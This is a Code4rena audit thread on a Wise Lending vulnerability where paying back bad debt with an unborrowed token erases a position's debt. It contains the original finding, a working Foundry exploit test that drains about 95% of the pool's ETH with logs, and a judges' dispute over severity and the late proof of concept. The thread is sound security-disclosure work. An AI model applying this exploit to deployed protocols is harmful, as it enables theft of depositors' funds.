Open c4-bot-4 opened 5 months ago
This looks off and should have had a coded POC Flagging out of caution
GalloDaSballo marked the issue as sufficient quality report
This looks off and should have had a coded POC Flagging out of caution
I didn't get what kind of flag got applied and why it says sufficient quality report
even though it clearly does not even has POC and poorly described with false assumptions?
Dbl checking line fo reasoning fails when user deposits large amount and then borrows.
quote: 1a. Prepare big position that will have be destined to have positive badDebt. For sake of the argument, let's assume it's $1M worth of ETH. 1b. Prepare very small position that will not be incentivized to be liquidated by liquidators, just to achieve non-zero badDebt. This can be done for example before significant price update transaction from Chainlink. Then take $1M worth of ETH flashloan and put this as collateral to position, borrowing as much as possible.
Comment: 1a.) Ok say big position has nftId = 1 1b.) oOk say small position has nftId = 2 NftId 2 now takes more collateral and borrows max: then call paybackBadDebtNoReward with nftId 2.
But since collateral has been deposited and borrowed within non liqudiationr ange (healthstate check active remember) This line here:
updatePositionCurrentBadDebt(
_nftId
);
in the beginning will set badDebtPosition[_nft] to 0 meaning it will exit after this line:
if (badDebtPosition[_nftId] == 0) {
return 0;
}
and no harm done. On top of that as @vm06007 said no Poc provided so dismissed
trust1995 marked the issue as unsatisfactory: Insufficient proof
@trust1995 , I'm sorry that I didn't provide the PoC before. I provide coded PoC now. It shows that user is able to steal whole protocol funds, due to wrong algoritm in _removePositionData()
. I managed to not use very big position and a single token, which makes this issue even easier to perform.
PoC procided below does the following:
_removePositionData()
removes last token in user borrow tokens. In this case that means that the user doesn't have any tokens in his debt tokens listed.// SPDX-License-Identifier: -- WISE --
pragma solidity =0.8.24;
import "./WiseLendingBaseDeployment.t.sol";
contract DebtClearTest is BaseDeploymentTest {
address borrower = address(uint160(uint(keccak256("alice"))));
address lender = address(uint160(uint(keccak256("bob"))));
address lender2 = address(uint160(uint(keccak256("bob2"))));
uint256 depositAmountETH = 100 ether; // 10 ether
uint256 depositAmountToken = 10 ether; // 10 ether
uint256 borrowAmount = 5e18; // 5 ether
uint256 nftIdLiquidator; // nftId of lender
uint256 nftIdLiquidatee; // nftId of borrower
uint256 debtShares;
function _setupIndividualTest() internal override {
_deployNewWiseLending(false);
// set token value for simple calculations
MOCK_CHAINLINK_2.setValue(1 ether); // 1 token == 1 ETH
assertEq(MOCK_CHAINLINK_2.latestAnswer(), MOCK_CHAINLINK_ETH_ETH.latestAnswer());
vm.stopPrank();
// fund lender and borrower
vm.deal(lender, depositAmountETH);
vm.deal(lender2, depositAmountETH);
deal(address(MOCK_WETH), lender, depositAmountETH);
deal(address(MOCK_ERC20_2), borrower, depositAmountToken * 2);
deal(address(MOCK_ERC20_1), lender, depositAmountToken * 2);
}
function testRemovingToken() public {
IERC20 WETH = IERC20(LENDING_INSTANCE.WETH_ADDRESS());
// lender supplies ETH
vm.startPrank(lender);
nftIdLiquidator = POSITION_NFTS_INSTANCE.mintPosition();
// deposit 100 ether into the pool
LENDING_INSTANCE.depositExactAmountETH{value: depositAmountETH}(nftIdLiquidator);
vm.stopPrank();
// prank second provider to make sure that the borrower is able to
// steal everyone's funds later
vm.startPrank(lender2);
uint nftIdfundsProvider = POSITION_NFTS_INSTANCE.mintPosition();
// deposit 100 ether into the pool
LENDING_INSTANCE.depositExactAmountETH{value: depositAmountETH}(nftIdfundsProvider);
vm.stopPrank();
// borrower supplies collateral token and borrows ETH
vm.startPrank(borrower);
MOCK_ERC20_2.approve(address(LENDING_INSTANCE), depositAmountToken * 2);
nftIdLiquidatee = POSITION_NFTS_INSTANCE.mintPosition();
vm.warp(
block.timestamp + 10 days
);
LENDING_INSTANCE.depositExactAmount( // supply collateral
nftIdLiquidatee,
address(MOCK_ERC20_2),
10
);
debtShares = LENDING_INSTANCE.borrowExactAmountETH(nftIdLiquidatee, borrowAmount); // borrow ETH
vm.stopPrank();
// shortfall event/crash occurs. This is just one of the possibilities of achieving bad debt
// second is maintaining small position that gives no incentive to liquidate it.
vm.prank(MOCK_DEPLOYER);
MOCK_CHAINLINK_2.setValue(0.3 ether);
// borrower gets partially liquidated
vm.startPrank(lender);
MOCK_WETH.approve(address(LENDING_INSTANCE), depositAmountETH);
LENDING_INSTANCE.liquidatePartiallyFromTokens(
nftIdLiquidatee,
nftIdLiquidator,
address(MOCK_WETH),
address(MOCK_ERC20_2),
debtShares * 2e16 / 1e18 + 1
);
vm.stopPrank();
// global and user bad debt is increased
uint256 totalBadDebt = FEE_MANAGER_INSTANCE.totalBadDebtETH();
uint256 userBadDebt = FEE_MANAGER_INSTANCE.badDebtPosition(nftIdLiquidatee);
assertGt(totalBadDebt, 0);
assertGt(userBadDebt, 0);
assertEq(totalBadDebt, userBadDebt); // user bad debt and global bad debt are the same
vm.startPrank(lender);
MOCK_ERC20_1.approve(address(LENDING_INSTANCE), type(uint256).max);
MOCK_ERC20_1.approve(address(FEE_MANAGER_INSTANCE), type(uint256).max);
MOCK_WETH.approve(address(FEE_MANAGER_INSTANCE), type(uint256).max);
// check how much tokens the position that will be liquidated has
uint256 lb = LENDING_INSTANCE.getPositionBorrowTokenLength(
nftIdLiquidatee
);
assertEq(lb, 1);
uint256 ethValueBefore = SECURITY_INSTANCE.getETHBorrow(
nftIdLiquidatee,
address(MOCK_ERC20_2)
);
console.log("ethBefore ", ethValueBefore);
// **IMPORTANT** this is the core of the issue
// When bad debt occurs, there are 2 critical checks missing:
// 1. that the amount to repay is bigger than 0
// 2. that the token to repay bad debt has the bad debt for user
// This allows to remove any token from the list of user borrow tokens,
// because of how finding token to remove algorithm is implemented:
// it iterates over all the tokens and if it doesn't find matching one
// until it reaches last, it wrongly assumes that the last token is the
// one that should be removed.
// And not checking for amount of repayment allows to skip Solidity underflow
// checks on diminishing user bad debt.
FEE_MANAGER_INSTANCE.paybackBadDebtNoReward(
nftIdLiquidatee,
address(MOCK_ERC20_1), // user doesn't have debt in this token
0
);
uint256 ethValueAfter = SECURITY_INSTANCE.getETHBorrow(
nftIdLiquidatee,
address(MOCK_ERC20_2)
);
uint256 ethWethValueAfter = SECURITY_INSTANCE.getETHBorrow(
nftIdLiquidatee,
address(WETH)
);
console.log("ethAfter ", ethValueAfter);
// assert that the paybackBadDebtNoReward removed token that it shouldn't
uint256 la = LENDING_INSTANCE.getPositionBorrowTokenLength(
nftIdLiquidatee
);
assertEq(la, 0);
vm.stopPrank();
uint lendingWethBalance = WETH.balanceOf(address(LENDING_INSTANCE));
console.log("lb ", lendingWethBalance);
console.log("bb ", borrower.balance);
vm.startPrank(borrower);
// borrow 95% of ALL ETH that the protocol possesses
// this works, because when calculating health check of a position
// it iterates through `getPositionBorrowTokenLength()` - and we
// were able to remove it.
debtShares = LENDING_INSTANCE.borrowExactAmountETH(nftIdLiquidatee, WETH.balanceOf(address(LENDING_INSTANCE)) * 95 / 100); // borrow ETH
console.log("lb ", WETH.balanceOf(address(LENDING_INSTANCE)));
console.log("ba ", borrower.balance);
// make sure that borrow tokens were not increased
uint256 la2 = LENDING_INSTANCE.getPositionBorrowTokenLength(
nftIdLiquidatee
);
assertEq(la2, 0);
// verify that ~95% were taken from the pool and borrower received them
assertLt(WETH.balanceOf(address(LENDING_INSTANCE)), lendingWethBalance * 6 / 100);
assertGt(borrower.balance, lendingWethBalance * 94 / 100);
uint256 ethValueAfter2 = SECURITY_INSTANCE.getETHBorrow(
nftIdLiquidatee,
address(MOCK_ERC20_2)
);
console.log("ethAfter2 ", ethValueAfter2);
vm.stopPrank();
// borrowing doesn't increase user borrow
assertEq(ethValueAfter, ethValueAfter2);
}
}
At the end of the test, it's verified that user is in possession of ~95% of the ETH that was initially deposited to the pool.
Confirmed the test passes.
[PASS] testRemovingToken() (gas: 2242360)
Logs:
ORACLE_HUB_INSTANCE DEPLOYED AT ADDRESS 0x6D93d20285c95BbfA3555c00f5206CDc1D78a239
POSITION_NFTS_INSTANCE DEPLOYED AT ADDRESS 0x1b5a405a4B1852aA6F7F65628562Ab9af7e2e2e9
LATEST RESPONSE 1000000000000000000
ethBefore 300000000000000000
ethAfter 300000000000000000
lb 195100000000000000001
bb 5000000000000000000
lb 9755000000000000001
ba 190345000000000000000
ethAfter2 300000000000000000
The likelihood / impact are in line with high severity. A POC was not initially provided, but the step by step given is deemed sufficient.
trust1995 marked the issue as satisfactory
trust1995 marked the issue as selected for report
@Foon256 or @vonMangoldt can check this again I think, I'll check what kind of code change we need to add in order to prevent this scenario.
The POC is correct but different from the previous presented attack, which was not possible as @vonMangoldt has shown. I don't know about the rules in this case, because the POC has been submitted long after the deadline and is a different attack than submitted before.
Due to an incorrect logic, it is possible for a user to have all of their debt forgiven by repaying another bad debt position with a non-existing token
This issue should’ve been accompanied with a POC, then there would be no disambiguity over its validity and severity.
I agree with the judge’s assessment. The warden correctly identified the root cause of lacking input validation of _poolToken, which allows _removePositionData to incorrectly remove borrowed positions, thus erasing that user’s debt.
The severity of this alone is high, as it effectively allows the user to forgo repaying his debt.
I disagree with the statement that the POC is different from the previous presented attack. It is roughly the same as the presented step-by-step walkthrough, with amplified impact: the user is able to borrow more tokens for free subsequently, without having to repay.
Disregarding the POC that was submitted after the contest, IMO, the line-by-line walkthrough sufficiently proved the issue.
Facts: 1) paybackBadDebtNoReward can be called with non existant paybacktoken 2) First poolToken bad debt position will be deleted by default 3) Remove position in the original submission is not fully clear, but is implicitly mentioning using _deleteLastPositionBorrowDatafor _removePositionData 4) This will forgive the bad debt and break the system 5) Was disputed due to this
This asserts that the attack cannot be done atomically, that's true 6) The original submission explains that, due to generating bad debt
I believe that the finding has shown a way for bad debt to be forgiven, and that the race condition around "proper" vs "malicious" liquidators is not a major decision factor
I would like to add that the original submission is passable but should have done a better job at: Using only necessary snippets, with comments and tags, Explain each logical step more simply (A calls B, B is pointer to C, C is doing X)
I believe the Root cause and the attack was shown in the original submission and as such believe the finding to be valid and high severity
I think this one should be held as invalid due to this ruling: https://docs.code4rena.com/awarding/judging-criteria/supreme-court-decisions-fall-2023#verdict-standardization-of-additional-warden-output-during-qa Decisions from the inaugural Supreme Court session, Fall 2023 | Cod... As far as I can see, the swaying information was the POC added after the submission deadline. It doesn't matter if the issue was technically correct. The quality was not high enough to lead the judge to mark it as satisfactory without the additional information. @Alex The Entreprenerd thoughts?
Alex: I don't think the POC added any additional info that was not present in the original submission
Invalid token causes default pop of real token
That was identified in the original submission
I think the dispute by the sponsor was incorrect as asserting that this cannot be done atomically doesn't justify the bug of mismatch address causing defaults being forgiven
I think the POC added context over content
Dan: Apologies guys... didn't read it carefully enough on the first pass. I've re-evaluated and while I don't like the quality of the original submission and would probably have invalidated it myself, I'm willing to align with the two of you and leave it as high risk. The attack is valid and the nuance is in interpreting rules, not validity.
Alex asked: For issue 215: I'd like to ask you what you think was invalid about the first submission and what's specifically makes the original submission different from the POC sent after?
We understand that the quality of the original submission is sub optimal
Sponsor replied: Dbl checking line fo reasoning fails when user deposits large amount and then borrows.
1a. Prepare big position that will have be destined to have positive badDebt. For sake of the argument, let's assume it's $1M worth of ETH. 1b. Prepare very small position that will not be incentivized to be liquidated by liquidators, just to achieve non-zero badDebt. This can be done for example before significant price update transaction from Chainlink. Then take $1M worth of ETH flashloan and put this as collateral to position, borrowing as much as possible. Call FeeManager.paybackBadDebtNoReward() on the possition with desired position nft id, USDC token address and 0 shares as input params. Because there is non-zero bad debt, the check will pass, and and the logic will finally reach MainHelper._corePayback(). Because repay is 0 shares, diminishing position size in USDC token will not underflow, and position token will be tried to be removed:
Comment: 1a.) Ok say big position has nftId = 1 1b.) Ok say small position has nftId = 2 NftId 2 now takes more collateral and borrows max: then call paybackBadDebtNoReward with nftId 2.
But since collateral has been deposited and borrowed within non liqudiationr ange (healthstate check active remember) This line here:
updatePositionCurrentBadDebt( _nftId ); in the beginning will set badDebtPosition[_nft] to 0 meaning it will exit after this line:
if (badDebtPosition[_nftId] == 0) { return 0; } and no harm done. Alex: This makes sense as there is no way to attack the protocol in the same tx However, if the price where to fall, then wouldn't the attacker be able to apply the attack mentioned in the original submission?
Sponsor: they will be liquidated beforehand. Thats why the submittor mentioned it is necessary to create a position which is small hence no incentivize to liquidate. Again the way described by submittor does not work as pointed out in github and here again
Alex: My understanding of the issue is that by specifying a non-existing token for liquidation, the first token is popped without paying for the position debt
Am I missing something about this?
Sponsor 1: not for liquidation for payingback edit: paybackBadDebtNoReward only works for positions with bad debt but bad debt usually accrues with debt and no collateral only time it doesnt if collateral is so small gas is more expensive than to liquidate beforehand while price from collateral is falling
Sponsor 2: for payingback bad debt positions with paybackBadDebtNoReward() We added this feature to be able to remove bad debt from the protocol. User can do it and get a little incentive with paybackBadDebtForToken() or a generous donor/ the team can pay it back for free with paybackBadDebtNoReward() paybackBadDebtForToken() is only possible if there is some collateral left in the bad debt position nft.
Sponsor 1: the for free part is technically not needed anymore anyway since we opend paying back for everyone
Alex: Ok, and what do you think changed from the original submission and the POC that makes the finding different?
Sponsor 1: you mean the PoC after deadline which is therfor not counted? He just manipulates price so that no one has the chance to liquidate Sponsor 1 continuation: If we look at the point from the poc provided AFTER deadline (invalid therfor anyway) then we conclude its an expectedValue question. Attacker either donates liquidation incentives to liquidators and therfor loses money (10%) Or gains money if hes lucky that he doesnt get liquidated within a 10-20% price difference and gets to call the other function first. So if you think as an attacker the probability that eth e.g drops 20% in one chainlink update ( afaik never happend before) or that during a 20% drawdown liquidators dont get put into a block and this likelyhood is bigger than 5% OVERALL then you would make money. The chance of liquidators not picking up free money i would say is more in the low 0.001% estimation rather than 5%.
So on average its highly minus -ev to do that
Alex: Good points, thank you for your thoughts!
What are your considerations about the fact that the attacker could just participate in the MEV race, allowing themselves to either front-run or be the first to self-liquidate as a means to enact the attack?
Shouldn't the system ideally prevent this scenario from ever being possible?
Sponsor 3: I'll let my devs comment on your question about the attacker participating as a liquidator, but as far as the last part about "shouldn't the system prevent"
I do not believe our position on this finding is that it's objectively invalid. In fact I'm sure we have already patched it for our live code which is already deployed on Arbitrum. Our position is that, per the C4 rules the submission is invalid for this specific competitive audit Feb 19th - March 11th and should not be listed in the findings or receive rewards, as it would be unfair to take away money from the other wardens who did submit findings in the time frame given. That being said, we are willing to accept it as a medium finding as a compromise. Sponsor 1: youre welcome . The attack does not start with liquidating it is stopped by liquidating (including if the attacker liquidates) (if its in time relating to liquidation incentive vs distance between collateral in debt in percentage)
thats why in a poc you need to manipualte price instantly a great deal without being liquidated (doesnt matter by whom)
We believe that the dispute from the Sponsor comes from a misunderstanding of the submission which ultimately shows an incorrect logic when dealing with liquidations
While the specifics of the submission leave a lot to be desired, the original submission did identify the root cause, this root cause can be weaponized in a myriad of ways, and ultimately gives the chance to an underwater borrower to get a long forgiven
For this reason we believe the finding to be a High Severity finding
We can all agree that a POC of higher quality should have been sent, that said our objective at C4 is to prevent real exploits, over a sufficiently long span of time, dismissing barely passable findings would cause more exploits, which will cause real damage to Projects and People using them as well as taint the reputation of C4 as a place where “No stone is left unturned”
I would recommend the staff to look into ways to penalize these types of findings (for example give a bonus to the judge as an extensive amount of time was necessary to prove this finding)
But I fail to see how dismissing this report due to a lack of POC would help the Sponsor, and Code4rena over the long term
For transparency and per conversation with the sponsors, see here for the Wise Lending team's mitigation.
Lines of code
https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/FeeManager/FeeManager.sol#L816-L866 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/MainHelper.sol#L667-L727
Vulnerability details
When pool token stops being used in the position,
_removePositionData
function is caled. It, however assumes that poolToken that is passed as a parameter, always exist in user token array, which is not always the case. In case of functionFeeManager.paybackBadDebtNoReward()
, which indirectly calls_removePositionData
, insufficient validation doesn't check if repay token is in user array, which results in zeroing out information about user debt.Impact
Free elimination of user debt.
Proof of Concept
First, let's see how
MainHelper._removePositionData()
works:So,
_poolToken
sent in parameter is not checked if:_poolToken
or not._poolToken
or not.This function is called in
MainHelper._corePayback()
, which in turn is called inFeeManager.paybackBadDebtNoReward() => WiseLending.corePaybackFeeManager() => WiseLending._handlePayback()
. Important factor is thatpaybackBadDebtNoReward()
doesn't check if position utilizes_paybackToken
passed by the caller and allows to pas any token. The only prerequisite is thatbadDebtPosition[_nftId]
has to be bigger than 0:With these pieces of information, we can form following attack path:
1a. Prepare big position that will have be destined to have positive
badDebt
. For sake of the argument, let's assume it's $1M worth of ETH. 1b. Prepare very small position that will not be incentivized to be liquidated by liquidators, just to achieve non-zerobadDebt
. This can be done for example before significant price update transaction from Chainlink. Then take $1M worth of ETH flashloan and put this as collateral to position, borrowing as much as possible.FeeManager.paybackBadDebtNoReward()
on the possition with desired position nft id, USDC token address and 0 shares as input params.Because there is non-zero bad debt, the check will pass, and and the logic will finally reach
MainHelper._corePayback()
. Because repay is 0 shares, diminishing position size in USDC token will not underflow, and position token will be tried to be removed:Inside
_removePositionData
, because position length is 1, no check if token address matches will be performed:Tools Used
Manual Review
Recommended Mitigation Steps
Add verification if the token that is passed to
_removePositionData()
exists in user tokens. If not, revert the transaction.Assessed type
Invalid Validation